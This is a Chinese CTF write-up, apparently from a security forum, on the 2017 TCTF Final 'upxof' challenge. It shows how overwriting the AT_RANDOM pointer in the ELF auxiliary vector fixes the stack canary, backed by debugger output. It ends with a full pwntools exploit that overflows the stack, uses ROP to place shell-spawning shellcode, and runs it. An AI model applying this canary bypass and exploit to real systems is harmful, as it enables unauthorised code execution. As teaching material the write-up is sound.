利用auxv控制canary
2019-12-14 02:57:55 Author: bbs.pediy.com(查看原文) 阅读量:373 收藏

利用绕过canary的另一种方法。通过修改AUXV(Auxiliary Vector)结构体使 canary 值可控。因为在ld的时候,canary是通过AUXV中的一个成员生成的。

2017-TCTF-Final-upxof

题目文件
(文件在附件中也上传了)

分析

 happy@ubuntu  ~/pwn/20170602-TCTF-Final/pwn-upxof  checksec upxof 
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    Packer:   Packed with UPX

发现upx有壳,upx -d一下(附件中depack文件时脱壳后的),然后发现脱壳后的程序有canary

 happy@ubuntu  ~/pwn/20170602-TCTF-Final/pwn-upxof  checksec depack 
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/depack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

脱壳后的main函数,很明显gets有个栈溢出。但是有canary,这里通过修改AUXV中的AT_RANDOM来控制我们的canary,后面会介绍。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-410h]
  unsigned __int64 v5; // [rsp+408h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  printf("let's go:", 0LL);
  gets(&v4);
  return 0;
}

Auxiliary Vector & Canary原理分析

简言之,canary是由ld.so进行初始化的,而这个值又是通过Auxiliary Vector
参考
https://www.elttam.com.au/blog/playing-with-canaries/
auxv结构可以在elf/elf.h里看到:

/* Auxiliary vector.  */

/* This vector is normally only used by the program interpreter.  The
   usual definition in an ABI supplement uses the name auxv_t.  The
   vector is not usually defined in a standard <elf.h> file, but it
   can't hurt.  We rename it to avoid conflicts.  The sizes of these
   types are an arrangement between the exec server and the program
   interpreter, so we don't fully specify them here.  */

typedef struct
{
  uint32_t a_type;        /* Entry type */
  union
    {
      uint32_t a_val;        /* Integer value */
      /* We use to have pointer elements added here.  We cannot do that,
     though, since it does not work when using 32-bit definitions
     on 64-bit platforms and vice versa.  */
    } a_un;
} Elf32_auxv_t;

typedef struct
{
  uint64_t a_type;        /* Entry type */
  union
    {
      uint64_t a_val;        /* Integer value */
      /* We use to have pointer elements added here.  We cannot do that,
     though, since it does not work when using 32-bit definitions
     on 64-bit platforms and vice versa.  */
    } a_un;
} Elf64_auxv_t;

这是一个entry struct,以AT_HWCAP为例,这个结构体就会是p64(entry_type_no) + a_un
这个a_type的取值可以参见源码,以下列举部分

/* Legal values for a_type (entry type).  */

#define AT_NULL        0        /* End of vector */
#define AT_IGNORE    1        /* Entry should be ignored */
#define AT_EXECFD    2        /* File descriptor of program */
#define AT_PHDR        3        /* Program headers for program */
#define AT_PHENT    4        /* Size of program header entry */
#define AT_PHNUM    5        /* Number of program headers */
#define AT_PAGESZ    6        /* System page size */
#define AT_BASE        7        /* Base address of interpreter */
#define AT_FLAGS    8        /* Flags */
#define AT_ENTRY    9        /* Entry point of program */
#define AT_NOTELF    10        /* Program is not ELF */
#define AT_UID        11        /* Real uid */
#define AT_EUID        12        /* Effective uid */
#define AT_GID        13        /* Real gid */
#define AT_EGID        14        /* Effective gid */
#define AT_CLKTCK    17        /* Frequency of times() */
...
/* This entry gives some information about the FPU initialization
   performed by the kernel.  */
#define AT_FPUCW    18        /* Used FPU control word.  */
...
/* A special ignored value for PPC, used by the kernel to control the
   interpretation of the AUXV. Must be > 16.  */
#define AT_IGNOREPPC    22        /* Entry should be ignored.  */

#define    AT_SECURE    23        /* Boolean, was exec setuid-like?  */

#define AT_BASE_PLATFORM 24        /* String identifying real platforms.*/

#define AT_RANDOM    25        /* Address of 16 random bytes.  */

#define AT_HWCAP2    26        /* More machine-dependent hints about
                       processor capabilities.  */

#define AT_EXECFN    31        /* Filename of executable.  */
...

我们关注的是这里面的AT_RANDOM,在libc中,它和生成canary有着紧密的关系。

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };

  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN

      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN

      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else

#error "BYTE_ORDER unknown"

#endif

    }
  return ret.num;
}

也就是说,canary是通过dl_random上设置的。
通过测试和文章分析可知,AUXV结构体中AT_RANDOM的值对应了canary的值(The value is a pointer to sixteen random bytes provided by the kernel. The dynamic linker uses this to implement a stack canary)

上面的这篇文章也介绍了通过程序获取auxv的方法

#include <sys/auxv.h>
unsigned long int getauxval(unsigned long int type);

其中,type传入auxv的a_type即可。

我们可以写一个带canary的程序,编译的时候gcc的选项带上-fstack-protector-all

pwndbg> info auxv
33   AT_SYSINFO_EHDR      System-supplied DSO's ELF header 0x7ffff7ffa000
16   AT_HWCAP             Machine-dependent CPU capability hints 0x1f8bfbff
6    AT_PAGESZ            System page size               4096
17   AT_CLKTCK            Frequency of times()           100
3    AT_PHDR              Program headers for program    0x400040
4    AT_PHENT             Size of program header entry   56
5    AT_PHNUM             Number of program headers      9
7    AT_BASE              Base address of interpreter    0x7ffff7dd7000
8    AT_FLAGS             Flags                          0x0
9    AT_ENTRY             Entry point of program         0x4004e0
11   AT_UID               Real user ID                   1000
12   AT_EUID              Effective user ID              1000
13   AT_GID               Real group ID                  1000
14   AT_EGID              Effective group ID             1000
23   AT_SECURE            Boolean, was exec setuid-like? 0
25   AT_RANDOM            Address of 16 random bytes     0x7fffffffe1f9
26   AT_HWCAP2            Extension of AT_HWCAP          0x0
31   AT_EXECFN            File name of executable        0x7fffffffefc5 "/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/test"
15   AT_PLATFORM          String identifying platform    0x7fffffffe209 "x86_64"
0    AT_NULL              End of vector                  0x0

然后看一下AT_RANDOM这个地址的值。

pwndbg> x/gx 0x7fffffffe1f9
0x7fffffffe1f9:    0x5b3648d106233604
pwndbg> canary
AT_RANDOM = 0x7fffffffe1f9 # points to (not masked) global canary value
Canary    = 0x5b3648d106233600
No valid canaries found on the stacks.

还有比较重要的是,程序一开始AT_RANDOMAT_EXECFNAT_PLATFORM和其他的值都会被 push 到栈上。
最后基本可以知道canary的起源是如下的方式:

kernel---->AT_RANDOM---->fs:[0x28]---->canary

也就是说,如果我们可以在ld之前修改auxv struct,当程序调用ld后,我们就能控制canary了。

利用思路

  1. 在程序还没有链接的时候把auxv的结构体覆盖,修改AT_RANDOM以设置canary为已知的值
  2. 接下来直接溢出做 ROP 或者直接跳到 shellcode 上

关于修改auxv细节
The auxv structure above is everything. The at_random address gdb tells you is found using that structure. So, you CANNOT just use the address of at_random info auxv to see if the at_random is modified. Actually, at_random's address is contained in that structure, it is like p64(0x19) + p64(at_random_addr). To actually modify the at_random, the only thing you can do is to modify that address followed by the 0x19 number in the auxv. Changed it to point to some address which we already know the contents. (I used the address which is initiated to zero here)
大意就是我们要修改at_random的那个指针,确保这个指针指向的内容我们已知或者可控。

upx壳是有意义的,其不仅提供了RWX段。而且我们可以在没有被脱壳解密的情况下,没有被载入前覆盖掉auxv。第一次加载壳的时候可以输入长为0x4096的字符串,前八位则要求必须是12345678才能过 check。接下来解壳之后就可以溢出到auxv。
注意,我们覆写auxv的时候不需要把每个种类的Elf64_auxv_t都写上,除了必要的AT_RANDOM外,详见exp。

确定溢出距离

sub_40099E是start第一个运行的函数。
程序刚进入这个函数后就pop rsi,而后rsp在读入之前就没有变

LOAD:000000000040099E sub_40099E      proc near               ; CODE XREF: start+7↑p
LOAD:000000000040099E
LOAD:000000000040099E arg_0           = qword ptr  8
LOAD:000000000040099E arg_8           = qword ptr  10h
LOAD:000000000040099E
LOAD:000000000040099E ; FUNCTION CHUNK AT LOAD:0000000000400C21 SIZE 00000008 BYTES
LOAD:000000000040099E
LOAD:000000000040099E                 pop     rsi             ; buf
LOAD:000000000040099F                 mov     rdi, 1          ; fd
LOAD:00000000004009A6                 mov     rdx, 9          ; count
LOAD:00000000004009AD                 mov     rax, 1
LOAD:00000000004009B4                 syscall                 ; LINUX - sys_write
LOAD:00000000004009B6                 mov     r9, 0
LOAD:00000000004009BD                 mov     [rsp-8+arg_0], r9
LOAD:00000000004009C2
LOAD:00000000004009C2 loc_4009C2:                             ; CODE XREF: sub_40099E+7C↓j
LOAD:00000000004009C2                 mov     r9, [rsp-8+arg_0]
LOAD:00000000004009C7                 cmp     r9, 4096h
LOAD:00000000004009CE                 jz      short loc_400A1C
LOAD:00000000004009D0                 mov     rdi, 0          ; fd
LOAD:00000000004009D7                 mov     rsi, rsp
LOAD:00000000004009DA                 add     rsi, r9
LOAD:00000000004009DD                 add     rsi, 8          ; buf
LOAD:00000000004009E1                 mov     rdx, 1          ; count
LOAD:00000000004009E8                 mov     rax, 0
LOAD:00000000004009EF                 syscall                 ; LINUX - sys_read
LOAD:00000000004009F1                 cmp     rax, 1

我们在0x4009E1下断点,第一次断下来的时候,rsi就是buf的起始地址了
第一次断在0x4009E1的时候

pwndbg> info r rsi rsp
rsi            0x7fffffffde08    140737488346632
rsp            0x7fffffffde00    0x7fffffffde00

然后查看栈上auxv的距离

pwndbg> stack 120
00:0000│ rsp  0x7fffffffde00 ◂— 0x0
... ↓
10:0080│      0x7fffffffde80 ◂— 0x1
11:0088│      0x7fffffffde88 —▸ 0x7fffffffe214 ◂— '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
12:0090│      0x7fffffffde90 ◂— 0x0
13:0098│      0x7fffffffde98 —▸ 0x7fffffffe248 ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
14:00a0│      0x7fffffffdea0 —▸ 0x7fffffffe27c ◂— 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg'
...(massive env pointers)
53:0298│      0x7fffffffe098 —▸ 0x7fffffffefaf ◂— 'LINES=48'
54:02a0│      0x7fffffffe0a0 —▸ 0x7fffffffefb8 ◂— 'COLUMNS=135'
55:02a8│      0x7fffffffe0a8 ◂— 0x0
56:02b0│      0x7fffffffe0b0 ◂— 0x21 /* '!' */
57:02b8│      0x7fffffffe0b8 —▸ 0x7ffff7ffd000 ◂— jg     0x7ffff7ffd047
58:02c0│      0x7fffffffe0c0 ◂— 0x10
59:02c8│      0x7fffffffe0c8 ◂— 0x1f8bfbff
5a:02d0│      0x7fffffffe0d0 ◂— 0x6
5b:02d8│      0x7fffffffe0d8 ◂— 0x1000
5c:02e0│      0x7fffffffe0e0 ◂— 0x11
5d:02e8│      0x7fffffffe0e8 ◂— 0x64 /* 'd' */
5e:02f0│      0x7fffffffe0f0 ◂— 0x3
5f:02f8│      0x7fffffffe0f8 —▸ 0x400040 ◂— add    dword ptr [rax], eax
60:0300│      0x7fffffffe100 ◂— 0x4
61:0308│      0x7fffffffe108 ◂— 0x38 /* '8' */
62:0310│      0x7fffffffe110 ◂— 0x5
63:0318│      0x7fffffffe118 ◂— 0x2
64:0320│      0x7fffffffe120 ◂— 0x7
65:0328│      0x7fffffffe128 ◂— 0x0
66:0330│      0x7fffffffe130 ◂— 0x8
67:0338│      0x7fffffffe138 ◂— 0x0
68:0340│      0x7fffffffe140 ◂— 9 /* '\t' */
69:0348│      0x7fffffffe148 —▸ 0x400988 ◂— sub    rsp, 0x80
6a:0350│      0x7fffffffe150 ◂— 0xb /* '\x0b' */
6b:0358│      0x7fffffffe158 ◂— 0x3e8
6c:0360│      0x7fffffffe160 ◂— 0xc /* '\x0c' */
6d:0368│      0x7fffffffe168 ◂— 0x3e8
6e:0370│      0x7fffffffe170 ◂— 0xd /* '\r' */
6f:0378│      0x7fffffffe178 ◂— 0x3e8
70:0380│      0x7fffffffe180 ◂— 0xe
71:0388│      0x7fffffffe188 ◂— 0x3e8
72:0390│      0x7fffffffe190 ◂— 0x17
73:0398│      0x7fffffffe198 ◂— 0x0
74:03a0│      0x7fffffffe1a0 ◂— 0x19
75:03a8│      0x7fffffffe1a8 —▸ 0x7fffffffe1f9 ◂— 0xc0d54f3a714d6d9a
76:03b0│      0x7fffffffe1b0 ◂— 0x1a
77:03b8│      0x7fffffffe1b8 ◂— 0x0

我们发现0x7fffffffe1a8地址处保存了RANDOM的指针,距buf偏移为0x03a8-0x8
我们修改的时候还要修改其a_type,也就是0x7fffffffe1a0地址处表示的0x19.
0x7fffffffe0b0地址开始就是auxv的开始地址,之前和env数组有一个0的分隔。我们在覆盖的时候,不必将auxv每一个a_type对应的值都覆写上。
0x7fffffffde80处的1保存的是argc(参数个数)。0x7fffffffde88则是argv

控制canary之后,我们只要通过ROP,在RWX段用gets写入shellcode,然后执行即可。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug') 
p=process("./upxof")
p.recvuntil("password:")
payload = '12345678'
payload += p64(0) * 14
payload += p64(1) # argc
payload += p64(0x400008) # argv
payload += p64(0)
payload += p64(0x400008) * 42 # envp
payload += p64(0)
# aux vector
# payload += p64(0x21)
# payload += p64(0x7ffff7ffd000)
# payload += p64(0x10) # AT_HWCAP
# payload += p64(0x1f8bfbff)
# payload += p64(0x6) # AT_PAGESZ
# payload += p64(0x1000)
# payload += p64(0x11) # AT_CLKTCK
# payload += p64(0x64)
payload += p64(0x3) # AT_PHDR
payload += p64(0x400040)
# payload += p64(0x4) # AT_PHENT
# payload += p64(0x38)
payload += p64(0x5) # AT_PHNUM
payload += p64(0x2)
# payload += p64(0x7) # AT_BASE
# payload += p64(0x0)
# payload += p64(0x8) # AT_FLAGS
# payload += p64(0x0)
payload += p64(0x9) # AT_ENTRY
payload += p64(0x400988)
# payload += p64(0xb) # AT_UID
# payload += p64(0x0)
# payload += p64(0xc) # AT_EUID
# payload += p64(0x0)
# payload += p64(0xd) # AT_GID
# payload += p64(0x0)
# payload += p64(0xe) # AT_EGID
# payload += p64(0x0)
# payload += p64(0x17) # AT_SECURE
# payload += p64(0x0)
payload += p64(0x19) # AT_RANDOM
payload += p64(0x8000a0) # data at 0x8000a0 is 0, so we control canary with 0
# payload += p64(0x1f) # AT_EXECFN
# payload += p64(0x7fffffffeff0) # --> 0x666f7870752f2e ('./upxof')
# payload += p64(0xf) # AT_PLATFORM
# payload += p64(0x7fffffffe659) # --> 0x34365f363878 ('x86_64')
payload+=p64(0)
payload+=p64(0)
p.sendline(payload)
p.recvuntil('go:')
pop_rdi = 0x4007f3
gets = 0x4005B0
p.sendline(flat('\x00' * 1048, pop_rdi, 0x00800000, gets, 0x00800000)) # write shellcode to RWX 0x8000a0
p.sendline(asm(shellcraft.sh()))
p.interactive()
# gdb.attach(p,"b *0x400A1C")
# p.interactive()

PS

经测试,auxv覆盖的时候,下面的成员值一定要保证正确覆写

AT_PHDR 0x3
AT_PHENT 0x4
AT_PHNUM 0x5
AT_ENTRY 0x9

其他成员不写上调试的时候也没有出问题

参考

https://github.com/D-I-E/writeups/tree/master/2017-ctfs/20170602-TCTF-Final/pwn-upxof
https://qianfei11.github.io/2019/02/15/%E7%BB%95%E8%BF%87ELF%E7%9A%84%E5%AE%89%E5%85%A8%E9%98%B2%E6%8A%A4%E6%9C%BA%E5%88%B6Canary/#2017-TCTF-Final-upxof
https://www.elttam.com.au/blog/playing-with-canaries/

[进行中] 看雪20周年庆典报名通道开启!

最后于 2天前 被微笑明天编辑 ,原因: modify exp format


文章来源: https://bbs.pediy.com/thread-256608.htm
如有侵权请联系:admin#unsafe.sh